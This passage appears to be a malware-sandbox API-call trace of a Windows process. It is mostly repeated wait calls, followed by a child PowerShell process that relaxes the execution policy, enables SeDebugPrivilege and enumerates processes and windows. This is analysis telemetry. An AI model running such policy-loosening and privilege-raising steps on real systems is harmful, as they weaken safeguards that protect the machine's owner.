(hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0096.681] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0096.712] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0096.728] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0096.744] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0096.774] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0096.821] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0096.840] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0096.866] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0096.868] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0096.914] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0096.961] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0096.978] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0096.992] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.008] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.024] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.039] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.063] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.070] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.087] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.107] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.142] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.150] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.164] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.181] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.195] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.212] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.228] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.242] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.260] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.275] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.290] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.311] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.320] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.337] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.355] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.367] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.383] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.399] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.415] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.433] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.446] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.461] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.477] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.492] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.517] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.531] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.563] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.571] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.586] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.602] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.617] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.689] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.725] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.748] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.760] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.779] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.788] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.803] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.856] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.890] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.898] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.913] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.938] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.961] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0097.991] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.015] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.039] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.054] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.084] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.110] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.130] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.132] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.147] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.182] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.194] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.210] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.225] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.240] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.256] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.272] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.287] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.303] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.318] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.334] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.350] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.368] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.381] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.409] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.415] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.435] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.443] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.459] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.474] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.490] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.506] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.521] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.548] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.552] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.568] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.584] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.599] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.615] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.630] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.646] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.661] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.679] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.703] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.713] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.726] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.741] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.756] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.771] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.788] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.813] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.817] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.835] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0098.861] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0108.420] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0108.516] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0108.557] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0108.617] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0108.630] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0108.645] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0108.661] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0108.677] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0108.692] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0108.708] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0108.731] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0108.739] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0108.755] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0108.770] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0108.787] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0108.802] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0108.817] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0108.833] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0109.042] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0109.141] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0109.184] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0109.224] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0109.269] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) Process: id = "8" image_name = "powershell.exe" filename = "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x320e3000" os_pid = "0xaec" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xae0" cmd_line = "powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 51 os_tid = 0xaf0 [0097.763] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0097.888] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0097.888] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0097.888] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0097.888] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0099.767] GetVersionExW (in: lpVersionInformation=0x448df8*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x448df8*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0099.767] GetLastError () returned 0x2 [0099.768] GetVersionExW (in: lpVersionInformation=0x448df8*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x448df8*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0099.768] GetLastError () returned 0x2 [0099.794] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1be3dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0099.794] GetLastError () returned 0x2 [0099.799] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1be3f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0099.799] GetLastError () returned 0x2 [0099.799] GetVersionExW (in: lpVersionInformation=0x448df8*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x448df8*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0099.800] GetLastError () returned 0x2 [0099.801] SetErrorMode (uMode=0x1) returned 0x1 [0099.802] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x1be878 | out: lpFileInformation=0x1be878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0099.802] GetLastError () returned 0x2 [0099.802] SetErrorMode (uMode=0x1) returned 0x1 [0099.807] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x1be8fc | out: lpdwHandle=0x1be8fc) returned 0x94c [0099.949] GetLastError () returned 0x0 [0099.950] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x29e4dcc | out: lpData=0x29e4dcc) returned 1 [0099.965] VerQueryValueW (in: pBlock=0x29e4dcc, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1be8c8, puLen=0x1be8c4 | out: lplpBuffer=0x1be8c8*=0x29e4e68, puLen=0x1be8c4) returned 1 [0099.968] lstrlenW (lpString="䅁") returned 1 [0099.984] VerQueryValueW (in: pBlock=0x29e4dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x1be844, puLen=0x1be840 | out: lplpBuffer=0x1be844*=0x29e4f44, puLen=0x1be840) returned 1 [0099.985] lstrlenW (lpString="Microsoft Corporation") returned 21 [0099.986] lstrcpyW (in: lpString1=0x448de0, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0099.986] VerQueryValueW (in: pBlock=0x29e4dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x1be844, puLen=0x1be840 | out: lplpBuffer=0x1be844*=0x29e4f98, puLen=0x1be840) returned 1 [0099.986] lstrlenW (lpString="System.Management.Automation") returned 28 [0099.987] lstrcpyW (in: lpString1=0x448de0, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0099.987] VerQueryValueW (in: pBlock=0x29e4dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x1be844, puLen=0x1be840 | out: lplpBuffer=0x1be844*=0x29e4ff4, puLen=0x1be840) returned 1 [0099.987] lstrlenW (lpString="6.1.7601.17514") returned 14 [0099.987] lstrcpyW (in: lpString1=0x448de0, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0099.987] VerQueryValueW (in: pBlock=0x29e4dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x1be844, puLen=0x1be840 | out: lplpBuffer=0x1be844*=0x29e5034, puLen=0x1be840) returned 1 [0099.987] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0099.987] lstrcpyW (in: lpString1=0x448de0, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0099.987] VerQueryValueW (in: pBlock=0x29e4dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x1be844, puLen=0x1be840 | out: lplpBuffer=0x1be844*=0x29e509c, puLen=0x1be840) returned 1 [0099.987] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0099.987] lstrcpyW (in: lpString1=0x448de0, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0099.987] VerQueryValueW (in: pBlock=0x29e4dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x1be844, puLen=0x1be840 | out: lplpBuffer=0x1be844*=0x29e5138, puLen=0x1be840) returned 1 [0099.987] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0099.988] lstrcpyW (in: lpString1=0x448de0, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0099.988] VerQueryValueW (in: pBlock=0x29e4dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x1be844, puLen=0x1be840 | out: lplpBuffer=0x1be844*=0x29e519c, puLen=0x1be840) returned 1 [0099.988] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0099.988] lstrcpyW (in: lpString1=0x448de0, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0099.988] VerQueryValueW (in: pBlock=0x29e4dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x1be844, puLen=0x1be840 | out: lplpBuffer=0x1be844*=0x29e5218, puLen=0x1be840) returned 1 [0099.988] lstrlenW (lpString="6.1.7601.17514") returned 14 [0099.988] lstrcpyW (in: lpString1=0x448de0, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0099.988] VerQueryValueW (in: pBlock=0x29e4dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x1be844, puLen=0x1be840 | out: lplpBuffer=0x1be844*=0x29e4ec0, puLen=0x1be840) returned 1 [0099.988] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0099.988] lstrcpyW (in: lpString1=0x448de0, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0099.988] VerQueryValueW (in: pBlock=0x29e4dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x1be844, puLen=0x1be840 | out: lplpBuffer=0x1be844*=0x0, puLen=0x1be840) returned 0 [0099.988] VerQueryValueW (in: pBlock=0x29e4dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x1be844, puLen=0x1be840 | out: lplpBuffer=0x1be844*=0x0, puLen=0x1be840) returned 0 [0099.989] VerQueryValueW (in: pBlock=0x29e4dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x1be844, puLen=0x1be840 | out: lplpBuffer=0x1be844*=0x0, puLen=0x1be840) returned 0 [0099.989] VerQueryValueW (in: pBlock=0x29e4dcc, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1be838, puLen=0x1be834 | out: lplpBuffer=0x1be838*=0x29e4e68, puLen=0x1be834) returned 1 [0099.990] VerLanguageNameW (in: wLang=0x0, szLang=0x448de0, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0100.099] VerQueryValueW (in: pBlock=0x29e4dcc, lpSubBlock="\\", lplpBuffer=0x1be84c, puLen=0x1be848 | out: lplpBuffer=0x1be84c*=0x29e4df4, puLen=0x1be848) returned 1 [0100.106] GetCurrentProcessId () returned 0xaec [0100.474] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x1be084 | out: lpLuid=0x1be084*(LowPart=0x14, HighPart=0)) returned 1 [0100.476] GetLastError () returned 0x0 [0100.477] GetCurrentProcess () returned 0xffffffff [0100.477] GetLastError () returned 0x0 [0100.479] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x1be080 | out: TokenHandle=0x1be080*=0x308) returned 1 [0100.479] GetLastError () returned 0x0 [0100.517] AdjustTokenPrivileges (in: TokenHandle=0x308, DisableAllPrivileges=0, NewState=0x29e790c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0100.558] GetLastError () returned 0x0 [0100.571] CloseHandle (hObject=0x308) returned 1 [0100.571] GetLastError () returned 0x0 [0100.575] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xaec) returned 0x308 [0100.575] GetLastError () returned 0x0 [0100.682] EnumProcessModules (in: hProcess=0x308, lphModule=0x29e7950, cb=0x100, lpcbNeeded=0x1be874 | out: lphModule=0x29e7950, lpcbNeeded=0x1be874) returned 1 [0100.683] GetLastError () returned 0x0 [0100.685] GetModuleInformation (in: hProcess=0x308, hModule=0x22060000, lpmodinfo=0x29e7a90, cb=0xc | out: lpmodinfo=0x29e7a90*(lpBaseOfDll=0x22060000, SizeOfImage=0x72000, EntryPoint=0x22067363)) returned 1 [0100.686] GetLastError () returned 0x0 [0100.688] GetModuleBaseNameW (in: hProcess=0x308, hModule=0x22060000, lpBaseName=0x47af58, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0100.688] GetLastError () returned 0x0 [0100.689] GetModuleFileNameExW (in: hProcess=0x308, hModule=0x22060000, lpFilename=0x47af58, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0100.690] GetLastError () returned 0x0 [0100.690] CloseHandle (hObject=0x308) returned 1 [0100.690] GetLastError () returned 0x0 [0106.739] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xaec) returned 0x308 [0106.739] GetLastError () returned 0x0 [0106.760] GetExitCodeProcess (in: hProcess=0x308, lpExitCode=0x29e6f40 | out: lpExitCode=0x29e6f40*=0x103) returned 1 [0106.760] GetLastError () returned 0x0 [0106.767] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x39e5278, Length=0x20000, ResultLength=0x1be8bc | out: SystemInformation=0x39e5278, ResultLength=0x1be8bc*=0x9f70) returned 0x0 [0106.783] EnumWindows (lpEnumFunc=0x29a3612, lParam=0x0) returned 1 [0106.786] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.786] GetLastError () returned 0x0 [0106.786] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.786] GetLastError () returned 0x0 [0106.786] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.786] GetLastError () returned 0x0 [0106.786] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.787] GetLastError () returned 0x0 [0106.787] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.787] GetLastError () returned 0x0 [0106.787] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.787] GetLastError () returned 0x0 [0106.787] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.787] GetLastError () returned 0x0 [0106.787] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.787] GetLastError () returned 0x0 [0106.787] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x558 [0106.787] GetLastError () returned 0x0 [0106.787] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 [0106.788] GetLastError () returned 0x0 [0106.788] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x1be510 | out: lpdwProcessId=0x1be510) returned 0x4d0 